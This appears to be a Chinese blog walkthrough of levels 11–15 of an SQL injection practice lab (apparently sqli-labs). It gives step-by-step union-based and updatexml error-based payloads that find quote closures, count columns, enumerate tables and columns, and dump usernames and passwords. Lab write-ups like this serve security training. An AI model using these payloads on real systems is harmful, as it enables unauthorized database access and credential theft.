SQL注入靶场(11-15关)

第十一关

1.判断注入类型

1 and 1=1
1 and 1=2

字符型

2.判断闭合点

1'

闭合点为 ‘

3.猜字段

1' order by 3#
1' order by 2#

有两个字段

4.确定回显位

1'  union select 1,2#

5.获取数据库名称

1' union select database(),2#

数据库名称为:security

6.获取所有表名

1' union select group_concat(table_name),2 from information_schema.tables where table_schema='security'#

7.获取所有字段名

1' union select group_concat(column_name),2 from information_schema.columns where table_schema='security'and table_name='users'#

8.获取数据

1' union select 1,group_concat(username,'-',password) from users#

第十二关 

1.判断注入类型

1 and 1=1
1 and 1=2

字符型

2.判断闭合点

1"

闭合点为 “)

3.猜字段

1") order by 3#
1") order by 2#

有两个字段

4.确定回显位

1")  union select 1,2#

5.获取数据库名称

1") union select 1,database()#

数据库名称为:security

6.获取所有表名

1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

7.获取所有字段名

1") union select 1,group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'#

8.获取数据

1") union select 1,group_concat(username,'-',password) from users#

第十三关 

报错注入

1.判断注入类型

1 and 1=1
1 and 1=2

字符型

2.判断闭合点

1'

闭合点为 ‘)

3.猜字段

1') order by 3#
1') order by 2#

4.确定回显位

1') union select 1,2#

没有回显位--报错注入/布尔盲注

5.获取数据库名称

1') union select (updatexml(1,concat(0x7e,(select database()),0x7e),1))#

数据库名称为:security

6.获取所有表名

第一张表

1') union select (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1))#

第二张表

1') union select (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e),1))#

第三张表

1') union select (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 2,1),0x7e),1))#

第四张表

1') union select (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1))#

7.获取所有字段名

第一个字段

1') union select (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1))#

第一个字段名:id

第二个字段

1') union select (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x7e),1))#

第二个字段名:username

第三个字段

1') union select (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),0x7e),1))#

第三个字段名:password

8.获取数据

username

1') union select (updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1))#

第一个数据的username:Dumb

password

1') union select (updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1))#

第一个数据的password:Dumb

第十四关

报错注入

1.判断注入类型

1

页面无回显无报错。

1'

页面无回显无报错。

1"

出现报错信息。

1"#

页面无回显无报错。

本关为字符型注入,且可以使用报错注入。

2.判断列数

1" order by 2#

页面无回显无报错。

1" order by 3#

页面出现报错信息。

说明一共有三列(三个字段)

5.获取数据库名称

1" and updatexml(1,concat(1,(select database())),1)#

数据库名称为:security

6.获取所有表名

1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#

7.获取所有字段名

1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)#

8.获取数据

1" and updatexml(1,concat(1,(select group_concat(username) from users)),1)#

我们发现显示不全,这时我们可以单查一条数据。

1" and updatexml(1,concat(1,(select username from users limit 0,1)),1)#

可以通过修改 limit 0,1 中的 0 来获得其他 username 数据。

如果想要查询 password 的数据,可以将上面代码中的 username 改为 password 即可。

至此本关通过。

第十五关

布尔盲注

步骤与前面布尔盲注类似,具体流程和代码可以参考前面几关。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值